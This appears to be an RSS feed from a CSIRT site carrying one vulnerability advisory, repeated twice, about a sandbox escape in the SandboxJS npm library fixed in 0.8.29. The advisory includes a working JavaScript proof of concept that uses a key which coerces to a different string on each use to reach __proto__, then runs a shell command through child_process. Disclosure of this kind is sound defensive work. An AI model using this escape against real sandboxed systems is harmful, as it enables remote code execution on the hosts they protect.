https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 17:10:03 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-267626 EUVD-2026-267626 https://cve.radiocsirt.org/vuln/euvd-2026-267626 https://cve.radiocsirt.org/vuln/fkie_cve-2026-25641 <p>SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.</p> <p>SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-25641 https://cve.radiocsirt.org/vuln/ghsa-7x3h-rm86-3342 <p><strong>Affected:</strong> npm: @nyariv/sandboxjs</p> <p>### Summary A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.</p> <p>### Details Even though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.</p> <p>### PoC ```js const Sandbox = require(&#39;@nyariv/sandboxjs&#39;).default;</p> <p>const code = ` let a = new Map; a.x = 23; let count = 0;</p> <p>let nastyProp = {toString: () =&gt; {if (count&lt;1){count++;return &#34;x&#34;} else return &#34;__proto__&#34;}} let mapProt = a[nastyProp]; mapProt.has = isFinite; console.log( isFinite.constructor( &#34;return process.getBuiltinModule(&#39;child_process&#39;).execSync(&#39;ls -lah&#39;).toString()&#34;, )(), );`; const scope = {}; const sandbox = new Sandbox(); const exec = sandbox.compile(code); exec(scope).run(); ```</p> <p>### Impact Remote code execution, if attacker can execute code inside the sandbox.</p> <p><strong>Affected:</strong> npm: @nyariv/sandboxjs</p> <p>### Summary A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.</p> <p>### Details Even though the key used in property accesses (```b``` in the code below) is annotated as ```string```, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using ```hasOwnProperty(key)``` and a different one for when the key is used for the actual property access.</p> <p>### PoC ```js const Sandbox = require(&#39;@nyariv/sandboxjs&#39;).default;</p> <p>const code = ` let a = new Map; a.x = 23; let count = 0;</p> <p>let nastyProp = {toString: () =&gt; {if (count&lt;1){count++;return &#34;x&#34;} else return &#34;__proto__&#34;}} let mapProt = a[nastyProp]; mapProt.has = isFinite; console.log( isFinite.constructor( &#34;return process.getBuiltinModule(&#39;child_process&#39;).execSync(&#39;ls -lah&#39;).toString()&#34;, )(), );`; const scope = {}; const sandbox = new Sandbox(); const exec = sandbox.compile(code); exec(scope).run(); ```</p> <p>### Impact Remote code execution, if attacker can execute code inside the sandbox.</p> https://cve.radiocsirt.org/vuln/ghsa-7x3h-rm86-3342